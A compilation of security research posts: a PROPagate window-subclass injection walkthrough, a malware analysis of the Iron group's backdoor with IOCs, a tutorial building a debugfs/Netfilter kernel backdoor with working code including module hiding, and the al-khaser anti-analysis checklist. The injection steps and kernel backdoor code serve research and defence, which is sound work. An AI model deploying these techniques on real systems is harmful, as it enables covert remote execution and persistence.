The other interesting thing I noticed is that some existing windows procedures are already written in a way that makes it harder to exploit this issue. They check if the window-specific data was set, and only if it was NOT they allow to call the SetWindowLong function. That is, they avoid executing the same initialization code twice.

|=======================================================|

 

No Proof of Concept?

Let’s be honest with ourselves, most of the “good” code injection techniques used by malware authors today are the brainchild of some expert(s) in the field of computer security. Take for example Process HollowingAtomBombing and the more recent Doppelganging technique.

On the likelihood of code being misused, Adam didn’t publish a PoC, but there’s still sufficient information available in the blog posts for a competent person to write their own proof of concept, and it’s only a matter of time before it’s used in the wild anyway.

Update: After publishing this, I discovered it’s currently being used by SmokeLoader but using a different approach to mine by using SetPropA/SetPropW to update the subclass procedure.

I’m not providing source code here either, but given the level of detail, it should be relatively easy to implement your own.

Steps to PROPagate.

  1. Enumerate all window handles and the properties associated with them using EnumProps/EnumPropsEx
  2. Use GetProp API to retrieve information about hWnd parameter passed to WinPropProc callback function. Use “UxSubclassInfo” or “CC32SubclassInfo” as the 2nd parameter.
    The first class is for systems since XP while the latter is for Windows 2000.
  3. Open the process that owns the subclass and read the structures that contain callback functions. Use GetWindowThreadProcessId to obtain process id for window handle.
  4. Write a payload into the remote process using the usual methods.
  5. Replace the subclass procedure with pointer to payload in memory.
  6. Write the structures back to remote process.

At this point, we can wait for user to trigger payload when they activate the process window, or trigger the payload via another API.

Subclass callback and structures

Microsoft was kind enough to document the subclass procedure, but unfortunately not the internal structures used to store information about a subclass, so you won’t find them on MSDN or even in sources for WINE or ReactOS.

typedef LRESULT (CALLBACK *SUBCLASSPROC)(
   HWND      hWnd,
   UINT      uMsg,
   WPARAM    wParam,
   LPARAM    lParam,
   UINT_PTR  uIdSubclass,
   DWORD_PTR dwRefData);

Some clever searching by yours truly eventually led to the Windows 2000 source code, which was leaked online in 2004. Behold, the elusive undocumented structures found in subclass.c!

typedef struct _SUBCLASS_CALL {
  SUBCLASSPROC pfnSubclass;    // subclass procedure
  WPARAM       uIdSubclass;    // unique subclass identifier
  DWORD_PTR    dwRefData;      // optional ref data
} SUBCLASS_CALL, *PSUBCLASS_CALL;
typedef struct _SUBCLASS_FRAME {
  UINT    uCallIndex;   // index of next callback to call
  UINT    uDeepestCall; // deepest uCallIndex on stack
// previous subclass frame pointer
  struct _SUBCLASS_FRAME  *pFramePrev;
// header associated with this frame 
  struct _SUBCLASS_HEADER *pHeader;     
} SUBCLASS_FRAME, *PSUBCLASS_FRAME;
typedef struct _SUBCLASS_HEADER {
  UINT           uRefs;        // subclass count
  UINT           uAlloc;       // allocated subclass call nodes
  UINT           uCleanup;     // index of call node to clean up
  DWORD          dwThreadId; // thread id of window we are hooking
  SUBCLASS_FRAME *pFrameCur;   // current subclass frame pointer
  SUBCLASS_CALL  CallArray[1]; // base of packed call node array
} SUBCLASS_HEADER, *PSUBCLASS_HEADER;

At least now there’s no need to reverse engineer how Windows stores information about subclasses. Phew!

Finding suitable targets

I wrongly assumed many processes would be vulnerable to this injection method. I can confirm ollydbg and Process Hacker to be vulnerable as Adam mentions in his post, but I did not test other applications. As it happens, only explorer.exe seemed to be a viable target on a plain Windows 7 installation. Rather than search for an arbitrary process that contained a subclass callback, I decided for the purpose of demonstrations just to stick with explorer.exe.

The code first enumerates all properties for windows created by explorer.exe. An attempt is made to request information about “UxSubclassInfo”, which if successful will return an address pointer to subclass information in the remote process.

Figure 1. shows a list of subclasses associated with process id. I’m as perplexed as you might be about the fact some of these subclass addresses appear multiple times. I didn’t investigate.

Figure 1: Address of subclass information and process id for explorer.exe

Attaching a debugger to process id 5924 or explorer.exe and dumping the first address provides the SUBCLASS_HEADER contents. Figure 2 shows the data for header, with 2 hi-lighted values representing the callback functions.

Figure 2 : Dump of SUBCLASS_HEADER for address 0x003A1BE8

Disassembly of the pointer 0x7448F439 shows in Figure 3 the code is CallOriginalWndProc located in comctl32.dll

Figure 3 : Disassembly of callback function for SUBCLASS_CALL

Okay! So now we just read at least one subclass structure from a target process, change the callback address, and wait for explorer.exe to execute the payload. On the other hand, we could write our own SUBCLASS_HEADER to remote memory and update the existing subclass window with SetProp API.

To overwrite SUBCLASS_HEADER, all that’s required is to replace the pointer pfnSubclass with address of payload, and write the structure back to memory. Triggering it may be required unless someone is already using the operating system.

One would be wise to restore the original callback pointer in subclass header after payload has executed, in order to avoid explorer.exe crashing.

Update: Smoke Loader probably initializes its own SUBCLASS_HEADER before writing to remote process. I think either way is probably fine. The method I used didn’t call SetProp API.

Detection

The original author may have additional information on how to detect this injection method, however I think the following strings and API are likely sufficient to merit closer investigation of code.

Strings

  • UxSubclassInfo
  • CC32SubclassInfo
  • explorer.exe

API

  • OpenProcess
  • ReadProcessMemory
  • WriteProcessMemory
  • GetPropA/GetPropW
  • SetPropA/SetPropW

Conclusion

This injection method is trivial to implement, and because it affects many versions of Windows, I was surprised nobody published code to show how it worked. Nevertheless, it really is just a case of hooking callback functions in a remote process, and there are many more just like subclass. More to follow!

Iron Group’s Malware using HackingTeam’s Leaked RCS source code with VMProtected Installer — Technical Analysis

In April 2018, while monitoring public data feeds, we noticed an interesting and previously unknown backdoor using HackingTeam’s leaked RCS source code. We discovered that this backdoor was developed by the Iron cybercrime group, the same group behind the Iron ransomware (rip-off Maktub ransomware recently discovered by Bart Parys), which we believe has been active for the past 18 months.

During the past year and a half, the Iron group has developed multiple types of malware (backdoors, crypto-miners, and ransomware) for Windows, Linux and Android platforms. They have used their malware to successfully infect, at least, a few thousand victims.

In this technical blog post we are going to take a look at the malware samples found during the research.

Technical Analysis:

Installer:

** This installer sample (and in general most of the samples found) is protected with VMProtect then compressed using UPX.

Installation process:

1. Check if the binary is executed on a VM, if so – ExitProcess

2. Drop & Install malicious chrome extension
%localappdata%\Temp\chrome.crx
3. Extract malicious chrome extension to %localappdata%\Temp\chrome & create a scheduled task to execute %localappdata%\Temp\chrome\sec.vbs.
4. Create mutex using the CPU’s version to make sure there’s no existing running instance of itself.
5. Drop backdoor dll to %localappdata%\Temp\\<random>.dat.
6. Check OS version:
.If Version == Windows XP then just invoke ‘Launch’ export of Iron Backdoor for a one-time non persistent execution.
.If Version > Windows XP
-Invoke ‘Launch’ export
-Check if Qhioo360 – only if not proceed, Install malicious certificate used to sign Iron Backdoor binary as root CA.Then create a service called ‘helpsvc’ pointing back to Iron Backdoor dll.

Using the leaked HackingTeam source code:

Once we Analyzed the backdoor sample, we immediately noticed it’s partially based on HackingTeam’s source code for their Remote Control System hacking tool, which leaked about 3 years ago. Further analysis showed that the Iron cybercrime group used two main functions from HackingTeam’s source in both IronStealer and Iron ransomware.

1.Anti-VM: Iron Backdoor uses a virtual machine detection code taken directly from HackingTeam’s “Soldier” implant leaked source code. This piece of code supports detecting Cuckoo Sandbox, VMWare product & Oracle’s VirtualBox. Screenshot:

 

2. Dynamic Function Calls: Iron Backdoor is also using the DynamicCall module from HackingTeam’s “core” library. This module is used to dynamically call external library function by obfuscated the function name, which makes static analysis of this malware more complex.
In the following screenshot you can see obfuscated “LFSOFM43/EMM” and “DsfbufGjmfNbqqjohB”, which represents “kernel32.dll” and “CreateFileMappingA” API.

For a full list of obfuscated APIs you can visit obfuscated_calls.h.

Malicious Chrome extension:

A patched version of the popular Adblock Plus chrome extension is used to inject both the in-browser crypto-mining module (based on CryptoNoter) and the in-browser payment hijacking module.


**patched include.preload.js injects two malicious scripts from the attacker’s Pastebin account.

The malicious extension is not only loaded once the user opens the browser, but also constantly runs in the background, acting as a stealth host based crypto-miner. The malware sets up a scheduled task that checks if chrome is already running, every minute, if it isn’t, it will “silent-launch” it as you can see in the following screenshot:

Internet Explorer(deprecated):

Iron Backdoor itself embeds adblockplusie – Adblock Plus for IE, which is modified in a similar way to the malicious chrome extension, injecting remote javascript. It seems that this functionality is no longer automatically used for some unknown reason.

Persistence:

Before installing itself as a Windows service, the malware checks for the presence of either 360 Safe Guard or 360 Internet Security by reading following registry keys:

.SYSTEM\CurrentControlSet\Services\zhudongfangyu.
.SYSTEM\CurrentControlSet\Services\360rp

If one of these products is installed, the malware will only run once without persistence. Otherwise, the malware will proceed to installing rouge, hardcoded root CA certificate on the victim’s workstation. This fake root CA supposedly signed the malware’s binaries, which will make them look legitimate.

Comic break: The certificate is protected by the password ‘caonima123’, which means “f*ck your mom” in Mandarin.

IronStealer (<RANDOM>.dat):

Persistent backdoor, dropper and cryptocurrency theft module.

1. Load Cobalt Strike beacon:
The malware automatically decrypts hard coded shellcode stage-1, which in turn loads Cobalt Strike beacon in-memory, using a reflective loader:

Beacon: hxxp://dazqc4f140wtl.cloudfront[.]net/ZZYO

2. Drop & Execute payload: The payload URL is fetched from a hardcoded Pastebin paste address:

We observed two different payloads dropped by the malware:

1. Xagent – A variant of “JbossMiner Mining Worm” – a worm written in Python and compiled using PyInstaller for both Windows and Linux platforms. JbossMiner is using known database vulnerabilities to spread. “Xagent” is the original filename Xagent<VER>.exe whereas <VER> seems to be the version of the worm. The last version observed was version 6 (Xagent6.exe).

**Xagent versions 4-6 as seen by VT

2. Iron ransomware – We recently saw a shift from dropping Xagent to dropping Iron ransomware. It seems that the wallet & payment portal addresses are identical to the ones that Bart observed. Requested ransom decreased from 0.2 BTC to 0.05 BTC, most likely due to the lack of payment they received.

**Nobody paid so they decreased ransom to 0.05 BTC

3. Stealing cryptocurrency from the victim’s workstation: Iron backdoor would drop the latest voidtool Everything search utility and actually silent install it on the victim’s workstation using msiexec. After installation was completed, Iron Backdoor uses Everything in order to find files that are likely to contain cryptocurrency wallets, by filename patterns in both English and Chinese.

Full list of patterns extracted from sample:
– Wallet.dat
– UTC–
– Etherenum keystore filename
– *bitcoin*.txt
– *比特币*.txt
– “Bitcoin”
– *monero*.txt
– *门罗币*.txt
– “Monroe Coin”
– *litecoin*.txt
– *莱特币*.txt
– “Litecoin”
– *Ethereum*.txt
– *以太币*.txt
– “Ethereum”
– *miner*.txt
– *挖矿*.txt
– “Mining”
– *blockchain*.txt
– *coinbase*

4. Hijack on-going payments in cryptocurrency: IronStealer constantly monitors the user’s clipboard for Bitcoin, Monero & Ethereum wallet address regex patterns. Once matched, it will automatically replace it with the attacker’s wallet address so the victim would unknowingly transfer money to the attacker’s account:

Pastebin Account:

As part of the investigation, we also tried to figure out what additional information we may learn from the attacker’s Pastebin account:

The account was probably created using the mail fineisgood123@gmail[.]com – the same email address used to register blockbitcoin[.]com (the attacker’s crypto-mining pool & malware host) and swb[.]one (Old server used to host malware & leaked files. replaced by u.cacheoffer[.]tk):

1. Index.html: HTML page referring to a fake Firefox download page.
2. crystal_ext-min + angular: JS inject using malicious Chrome extension.
3. android: This paste holds a command line for an unknown backdoored application to execute on infected Android devices. This command line invokes remote Metasploit stager (android.apk) and drops cpuminer 2.3.2 (minerd.txt) built for ARM processor. Considering the last update date (18/11/17) and the low number of views, we believe this paste is obsolete.

4. androidminer: Holds the cpuminer command line to execute for unknown malicious android applications, at the time of writing this post, this paste received nearly 2000 hits.

Aikapool[.]com is a public mining pool and port 7915 is used for DogeCoin:

The username (myapp2150) was used to register accounts in several forums and on Reddit. These accounts were used to advertise fake “blockchain exploit tool”, which infects the victim’s machine with Cobalt Strike, using a similar VBScript to the one found by Malwrologist (ps5.sct).

XAttacker: Copy of XAttacker PHP remote file upload script.
miner: Holds payload URL, as mentioned above (IronStealer).

FAQ:

How many victims are there?
It is hard to define for sure, , but to our knowledge, the total of the attacker’s pastes received around 14K views, ~11K for dropped payload URL and ~2k for the android miner paste. Based on that, we estimate that the group has successfully infected, a few thousands victims.

Who is Iron group?
We suspect that the person or persons behind the group are Chinese, due in part to the following findings:
. There were several leftover comments in the plugin in Chinese.
. Root CA Certificate password (‘f*ck your mom123’ was in Mandarin)
We also suspect most of the victims are located in China, because of the following findings:
. Searches for wallet file names in Chinese on victims’ workstations.
. Won’t install persistence if Qhioo360(popular Chinese AV) is found

IOCS:

 

  • blockbitcoin[.]com
  • pool.blockbitcoin[.]com
  • ssl2.blockbitcoin[.]com
  • xmr.enjoytopic[.]tk
  • down.cacheoffer[.]tk
  • dzebppteh32lz.cloudfront[.]net
  • dazqc4f140wtl.cloudfront[.]net
  • androidapt.s3-accelerate.amazonaws[.]com
  • androidapt.s3-accelerate.amazonaws[.]com
  • winapt.s3-accelerate.amazonaws[.]com
  • swb[.]one
  • bitcoinwallet8[.]com
  • blockchaln[.]info
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Misusing debugfs for In-Memory RCE

An explanation of how debugfs and nf hooks can be used to remotely execute code.

Картинки по запросу debugfs

Introduction

Debugfs is a simple-to-use RAM-based file system specially designed for kernel debugging purposes. It was released with version 2.6.10-rc3 and written by Greg Kroah-Hartman. In this post, I will be showing you how to use debugfs and Netfilter hooks to create a Loadable Kernel Module capable of executing code remotely entirely in RAM.

An attacker’s ideal process would be to first gain unprivileged access to the target, perform a local privilege escalation to gain root access, insert the kernel module onto the machine as a method of persistence, and then pivot to the next target.

Note: The following is tested and working on clean images of Ubuntu 12.04 (3.13.0-32), Ubuntu 14.04 (4.4.0-31), Ubuntu 16.04 (4.13.0-36). All development was done on Arch throughout a few of the most recent kernel versions (4.16+).

Practicality of a debugfs RCE

When diving into how practical using debugfs is, I needed to see how prevalent it was across a variety of systems.

For every Ubuntu release from 6.06 to 18.04 and CentOS versions 6 and 7, I created a VM and checked the three statements below. This chart details the answers to each of the questions for each distro. The main thing I was looking for was to see if it was even possible to mount the device in the first place. If that was not possible, then we won’t be able to use debugfs in our backdoor.

Fortunately, every distro, except Ubuntu 6.06, was able to mount debugfs. Every Ubuntu version from 10.04 and on as well as CentOS 7 had it mounted by default.

  1. Present: Is /sys/kernel/debug/ present on first load?
  2. Mounted: Is /sys/kernel/debug/ mounted on first load?
  3. Possible: Can debugfs be mounted with sudo mount -t debugfs none /sys/kernel/debug?
Operating System Present Mounted Possible
Ubuntu 6.06 No No No
Ubuntu 8.04 Yes No Yes
Ubuntu 10.04* Yes Yes Yes
Ubuntu 12.04 Yes Yes Yes
Ubuntu 14.04** Yes Yes Yes
Ubuntu 16.04 Yes Yes Yes
Ubuntu 18.04 Yes Yes Yes
Centos 6.9 Yes No Yes
Centos 7 Yes Yes Yes
  • *debugfs also mounted on the server version as rw,relatime on /var/lib/ureadahead/debugfs
  • **tracefs also mounted on the server version as rw,relatime on /var/lib/ureadahead/debugfs/tracing

Executing code on debugfs

Once I determined that debugfs is prevalent, I wrote a simple proof of concept to see if you can execute files from it. It is a filesystem after all.

The debugfs API is actually extremely simple. The main functions you would want to use are: debugfs_initialized — check if debugfs is registered, debugfs_create_blob — create a file for a binary object of arbitrary size, and debugfs_remove — delete the debugfs file.

In the proof of concept, I didn’t use debugfs_initialized because I know that it’s present, but it is a good sanity-check.

To create the file, I used debugfs_create_blob as opposed to debugfs_create_file as my initial goal was to execute ELF binaries. Unfortunately I wasn’t able to get that to work — more on that later. All you have to do to create a file is assign the blob pointer to a buffer that holds your content and give it a length. It’s easier to think of this as an abstraction to writing your own file operations like you would do if you were designing a character device.

The following code should be very self-explanatory. dfs holds the file entry and myblob holds the file contents (pointer to the buffer holding the program and buffer length). I simply call the debugfs_create_blob function after the setup with the name of the file, the mode of the file (permissions), NULL parent, and lastly the data.

struct dentry *dfs = NULL;
struct debugfs_blob_wrapper *myblob = NULL;

int create_file(void){
	unsigned char *buffer = "\
#!/usr/bin/env python\n\
with open(\"/tmp/i_am_groot\", \"w+\") as f:\n\
	f.write(\"Hello, world!\")";

	myblob = kmalloc(sizeof *myblob, GFP_KERNEL);
	if (!myblob){
		return -ENOMEM;
	}

	myblob->data = (void *) buffer;
	myblob->size = (unsigned long) strlen(buffer);

	dfs = debugfs_create_blob("debug_exec", 0777, NULL, myblob);
	if (!dfs){
		kfree(myblob);
		return -EINVAL;
	}
	return 0;
}

Deleting a file in debugfs is as simple as it can get. One call to debugfs_remove and the file is gone. Wrapping an error check around it just to be sure and it’s 3 lines.

void destroy_file(void){
	if (dfs){
		debugfs_remove(dfs);
	}
}

Finally, we get to actually executing the file we created. The standard and as far as I know only way to execute files from kernel-space to user-space is through a function called call_usermodehelper. M. Tim Jones wrote an excellent article on using UMH called Invoking user-space applications from the kernel, so if you want to learn more about it, I highly recommend reading that article.

To use call_usermodehelper we set up our argv and envp arrays and then call the function. The last flag determines how the kernel should continue after executing the function (“Should I wait or should I move on?”). For the unfamiliar, the envp array holds the environment variables of a process. The file we created above and now want to execute is /sys/kernel/debug/debug_exec. We can do this with the code below.

void execute_file(void){
	static char *envp[] = {
		"SHELL=/bin/bash",
		"PATH=/usr/local/sbin:/usr/local/bin:"\
			"/usr/sbin:/usr/bin:/sbin:/bin",
		NULL
	};

	char *argv[] = {
		"/sys/kernel/debug/debug_exec",
		NULL
	};

	call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

I would now recommend you try the PoC code to get a good feel for what is being done in terms of actually executing our program. To check if it worked, run ls /tmp/ and see if the file i_am_groot is present.

Netfilter

We now know how our program gets executed in memory, but how do we send the code and get the kernel to run it remotely? The answer is by using Netfilter! Netfilter is a framework in the Linux kernel that allows kernel modules to register callback functions called hooks in the kernel’s networking stack.

If all that sounds too complicated, think of a Netfilter hook as a bouncer of a club. The bouncer is only allowed to let club-goers wearing green badges to go through (ACCEPT), but kicks out anyone wearing red badges (DENY/DROP). He also has the option to change anyone’s badge color if he chooses. Suppose someone is wearing a red badge, but the bouncer wants to let them in anyway. The bouncer can intercept this person at the door and alter their badge to be green. This is known as packet “mangling”.

For our case, we don’t need to mangle any packets, but for the reader this may be useful. With this concept, we are allowed to check any packets that are coming through to see if they qualify for our criteria. We call the packets that qualify “trigger packets” because they trigger some action in our code to occur.

Netfilter hooks are great because you don’t need to expose any ports on the host to get the information. If you want a more in-depth look at Netfilter you can read the article here or the Netfilter documentation.

netfilter hooks

When I use Netfilter, I will be intercepting packets in the earliest stage, pre-routing.

ESP Packets

The packet I chose to use for this is called ESP. ESP or Encapsulating Security Payload Packets were designed to provide a mix of security services to IPv4 and IPv6. It’s a fairly standard part of IPSec and the data it transmits is supposed to be encrypted. This means you can put an encrypted version of your script on the client and then send it to the server to decrypt and run.

Netfilter Code

Netfilter hooks are extremely easy to implement. The prototype for the hook is as follows:

unsigned int function_name (
		unsigned int hooknum,
		struct sk_buff *skb,
		const struct net_device *in,
		const struct net_device *out,
		int (*okfn)(struct sk_buff *)
);

All those arguments aren’t terribly important, so let’s move on to the one you need: struct sk_buff *skbsk_buffs get a little complicated so if you want to read more on them, you can find more information here.

To get the IP header of the packet, use the function skb_network_header and typecast it to a struct iphdr *.

struct iphdr *ip_header;

ip_header = (struct iphdr *)skb_network_header(skb);
if (!ip_header){
	return NF_ACCEPT;
}

Next we need to check if the protocol of the packet we received is an ESP packet or not. This can be done extremely easily now that we have the header.

if (ip_header->protocol == IPPROTO_ESP){
	// Packet is an ESP packet
}

ESP Packets contain two important values in their header. The two values are SPI and SEQ. SPI stands for Security Parameters Index and SEQ stands for Sequence. Both are technically arbitrary initially, but it is expected that the sequence number be incremented each packet. We can use these values to define which packets are our trigger packets. If a packet matches the correct SPI and SEQ values, we will perform our action.

if ((esp_header->spi == TARGET_SPI) &&
	(esp_header->seq_no == TARGET_SEQ)){
	// Trigger packet arrived
}

Once you’ve identified the target packet, you can extract the ESP data using the struct’s member enc_data. Ideally, this would be encrypted thus ensuring the privacy of the code you’re running on the target computer, but for the sake of simplicity in the PoC I left it out.

The tricky part is that Netfilter hooks are run in a softirq context which makes them very fast, but a little delicate. Being in a softirq context allows Netfilter to process incoming packets across multiple CPUs concurrently. They cannot go to sleep and deferred work runs in an interrupt context (this is very bad for us and it requires using delayed workqueues as seen in state.c).

The full code for this section can be found here.

Limitations

  1. Debugfs must be present in the kernel version of the target (>= 2.6.10-rc3).
  2. Debugfs must be mounted (this is trivial to fix if it is not).
  3. rculist.h must be present in the kernel (>= linux-2.6.27.62).
  4. Only interpreted scripts may be run.

Anything that contains an interpreter directive (python, ruby, perl, etc.) works together when calling call_usermodehelper on it. See this wikipedia article for more information on the interpreter directive.

void execute_file(void){
	static char *envp[] = {
		"SHELL=/bin/bash",
		"HOME=/root/",
		"USER=root",
		"PATH=/usr/local/sbin:/usr/local/bin:"\
			"/usr/sbin:/usr/bin:/sbin:/bin",
		"DISPLAY=:0",
		"PWD=/", 
		NULL
	};

	char *argv[] = {
		"/sys/kernel/debug/debug_exec",
		NULL
	};

    call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

Go also works, but it’s arguably not entirely in RAM as it has to make a temp file to build it and it also requires the .go file extension making this a little more obvious.

void execute_file(void){
	static char *envp[] = {
		"SHELL=/bin/bash",
		"HOME=/root/",
		"USER=root",
		"PATH=/usr/local/sbin:/usr/local/bin:"\
			"/usr/sbin:/usr/bin:/sbin:/bin",
		"DISPLAY=:0",
		"PWD=/", 
		NULL
	};

	char *argv[] = {
		"/usr/bin/go",
		"run",
		"/sys/kernel/debug/debug_exec.go",
		NULL
	};

    call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

Discovery

If I were to add the ability to hide a kernel module (which can be done trivially through the following code), discovery would be very difficult. Long-running processes executing through this technique would be obvious as there would be a process with a high pid number, owned by root, and running <interpreter> /sys/kernel/debug/debug_exec. However, if there was no active execution, it leads me to believe that the only method of discovery would be a secondary kernel module that analyzes custom Netfilter hooks.

struct list_head *module;
int module_visible = 1;

void module_unhide(void){
	if (!module_visible){
		list_add(&(&__this_module)->list, module);
		module_visible++;
	}
}

void module_hide(void){
	if (module_visible){
		module = (&__this_module)->list.prev;
		list_del(&(&__this_module)->list);
		module_visible--;
	}
}

Mitigation

The simplest mitigation for this is to remount debugfs as noexec so that execution of files on it is prohibited. To my knowledge, there is no reason to have it mounted the way it is by default. However, this could be trivially bypassed. An example of execution no longer working after remounting with noexec can be found in the screenshot below.

For kernel modules in general, module signing should be required by default. Module signing involves cryptographically signing kernel modules during installation and then checking the signature upon loading it into the kernel. “This allows increased kernel security by disallowing the loading of unsigned modules or modules signed with an invalid key. Module signing increases security by making it harder to load a malicious module into the kernel.

debugfs with noexec

# Mounted without noexec (default)
cat /etc/mtab | grep "debugfs"
ls -la /tmp/i_am_groot
sudo insmod test.ko
ls -la /tmp/i_am_groot
sudo rmmod test.ko
sudo rm /tmp/i_am_groot
sudo umount /sys/kernel/debug
# Mounted with noexec
sudo mount -t debugfs none -o rw,noexec /sys/kernel/debug
ls -la /tmp/i_am_groot
sudo insmod test.ko
ls -la /tmp/i_am_groot
sudo rmmod test.ko

Future Research

An obvious area to expand on this would be finding a more standard way to load programs as well as a way to load ELF files. Also, developing a kernel module that can distinctly identify custom Netfilter hooks that were loaded in from kernel modules would be useful in defeating nearly every LKM rootkit that uses Netfilter hooks.

Anti-VM techniques — Hyper-V/VPC registry key + WMI queries on Win32_BIOS, Win32_ComputerSystem, MSAcpi_ThermalZoneTemperature, more MAC for Xen, Parallels

Introduction

al-khaser is a PoC «malware» application with good intentions that aims to stress your anti-malware system. It performs a bunch of common malware tricks with the goal of seeing if you stay under the radar.

Logo

Download

You can download the latest release here.

Possible uses

  • You are making an anti-debug plugin and you want to check its effectiveness.
  • You want to ensure that your sandbox solution is hidden enough.
  • Or you want to ensure that your malware analysis environment is well hidden.

Please, if you encounter any of the anti-analysis tricks which you have seen in a malware, don’t hesitate to contribute.

Features

Anti-debugging attacks

  • IsDebuggerPresent
  • CheckRemoteDebuggerPresent
  • Process Environement Block (BeingDebugged)
  • Process Environement Block (NtGlobalFlag)
  • ProcessHeap (Flags)
  • ProcessHeap (ForceFlags)
  • NtQueryInformationProcess (ProcessDebugPort)
  • NtQueryInformationProcess (ProcessDebugFlags)
  • NtQueryInformationProcess (ProcessDebugObject)
  • NtSetInformationThread (HideThreadFromDebugger)
  • NtQueryObject (ObjectTypeInformation)
  • NtQueryObject (ObjectAllTypesInformation)
  • CloseHanlde (NtClose) Invalide Handle
  • SetHandleInformation (Protected Handle)
  • UnhandledExceptionFilter
  • OutputDebugString (GetLastError())
  • Hardware Breakpoints (SEH / GetThreadContext)
  • Software Breakpoints (INT3 / 0xCC)
  • Memory Breakpoints (PAGE_GUARD)
  • Interrupt 0x2d
  • Interrupt 1
  • Parent Process (Explorer.exe)
  • SeDebugPrivilege (Csrss.exe)
  • NtYieldExecution / SwitchToThread
  • TLS callbacks
  • Process jobs
  • Memory write watching

Anti-Dumping

  • Erase PE header from memory
  • SizeOfImage

Timing Attacks [Anti-Sandbox]

  • RDTSC (with CPUID to force a VM Exit)
  • RDTSC (Locky version with GetProcessHeap & CloseHandle)
  • Sleep -> SleepEx -> NtDelayExecution
  • Sleep (in a loop a small delay)
  • Sleep and check if time was accelerated (GetTickCount)
  • SetTimer (Standard Windows Timers)
  • timeSetEvent (Multimedia Timers)
  • WaitForSingleObject -> WaitForSingleObjectEx -> NtWaitForSingleObject
  • WaitForMultipleObjects -> WaitForMultipleObjectsEx -> NtWaitForMultipleObjects (todo)
  • IcmpSendEcho (CCleaner Malware)
  • CreateWaitableTimer (todo)
  • CreateTimerQueueTimer (todo)
  • Big crypto loops (todo)

Human Interaction / Generic [Anti-Sandbox]

  • Mouse movement
  • Total Physical memory (GlobalMemoryStatusEx)
  • Disk size using DeviceIoControl (IOCTL_DISK_GET_LENGTH_INFO)
  • Disk size using GetDiskFreeSpaceEx (TotalNumberOfBytes)
  • Mouse (Single click / Double click) (todo)
  • DialogBox (todo)
  • Scrolling (todo)
  • Execution after reboot (todo)
  • Count of processors (Win32/Tinba — Win32/Dyre)
  • Sandbox known product IDs (todo)
  • Color of background pixel (todo)
  • Keyboard layout (Win32/Banload) (todo)

Anti-Virtualization / Full-System Emulation

  • Registry key value artifacts
    • HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (VBOX)
    • HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (QEMU)
    • HARDWARE\Description\System (SystemBiosVersion) (VBOX)
    • HARDWARE\Description\System (SystemBiosVersion) (QEMU)
    • HARDWARE\Description\System (VideoBiosVersion) (VIRTUALBOX)
    • HARDWARE\Description\System (SystemBiosDate) (06/23/99)
    • HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (VMWARE)
    • HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (VMWARE)
    • HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (VMWARE)
    • SYSTEM\ControlSet001\Control\SystemInformation (SystemManufacturer) (VMWARE)
    • SYSTEM\ControlSet001\Control\SystemInformation (SystemProductName) (VMWARE)
  • Registry Keys artifacts
    • HARDWARE\ACPI\DSDT\VBOX__ (VBOX)
    • HARDWARE\ACPI\FADT\VBOX__ (VBOX)
    • HARDWARE\ACPI\RSDT\VBOX__ (VBOX)
    • SOFTWARE\Oracle\VirtualBox Guest Additions (VBOX)
    • SYSTEM\ControlSet001\Services\VBoxGuest (VBOX)
    • SYSTEM\ControlSet001\Services\VBoxMouse (VBOX)
    • SYSTEM\ControlSet001\Services\VBoxService (VBOX)
    • SYSTEM\ControlSet001\Services\VBoxSF (VBOX)
    • SYSTEM\ControlSet001\Services\VBoxVideo (VBOX)
    • SOFTWARE\VMware, Inc.\VMware Tools (VMWARE)
    • SOFTWARE\Wine (WINE)
    • SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters (HYPER-V)
  • File system artifacts
    • «system32\drivers\VBoxMouse.sys»
    • «system32\drivers\VBoxGuest.sys»
    • «system32\drivers\VBoxSF.sys»
    • «system32\drivers\VBoxVideo.sys»
    • «system32\vboxdisp.dll»
    • «system32\vboxhook.dll»
    • «system32\vboxmrxnp.dll»
    • «system32\vboxogl.dll»
    • «system32\vboxoglarrayspu.dll»
    • «system32\vboxoglcrutil.dll»
    • «system32\vboxoglerrorspu.dll»
    • «system32\vboxoglfeedbackspu.dll»
    • «system32\vboxoglpackspu.dll»
    • «system32\vboxoglpassthroughspu.dll»
    • «system32\vboxservice.exe»
    • «system32\vboxtray.exe»
    • «system32\VBoxControl.exe»
    • «system32\drivers\vmmouse.sys»
    • «system32\drivers\vmhgfs.sys»
    • «system32\drivers\vm3dmp.sys»
    • «system32\drivers\vmci.sys»
    • «system32\drivers\vmhgfs.sys»
    • «system32\drivers\vmmemctl.sys»
    • «system32\drivers\vmmouse.sys»
    • «system32\drivers\vmrawdsk.sys»
    • «system32\drivers\vmusbmouse.sys»
  • Directories artifacts
    • «%PROGRAMFILES%\oracle\virtualbox guest additions\»
    • «%PROGRAMFILES%\VMWare\»
  • Memory artifacts
    • Interupt Descriptor Table (IDT) location
    • Local Descriptor Table (LDT) location
    • Global Descriptor Table (GDT) location
    • Task state segment trick with STR
  • MAC Address
    • «\x08\x00\x27» (VBOX)
    • «\x00\x05\x69» (VMWARE)
    • «\x00\x0C\x29» (VMWARE)
    • «\x00\x1C\x14» (VMWARE)
    • «\x00\x50\x56» (VMWARE)
    • «\x00\x1C\x42» (Parallels)
    • «\x00\x16\x3E» (Xen)
  • Virtual devices
    • «\\.\VBoxMiniRdrDN»
    • «\\.\VBoxGuest»
    • «\\.\pipe\VBoxMiniRdDN»
    • «\\.\VBoxTrayIPC»
    • «\\.\pipe\VBoxTrayIPC»)
    • «\\.\HGFS»
    • «\\.\vmci»
  • Hardware Device information
    • SetupAPI SetupDiEnumDeviceInfo (GUID_DEVCLASS_DISKDRIVE)
      • QEMU
      • VMWare
      • VBOX
      • VIRTUAL HD
  • System Firmware Tables
    • SMBIOS string checks (VirtualBox)
    • SMBIOS string checks (VMWare)
    • SMBIOS string checks (Qemu)
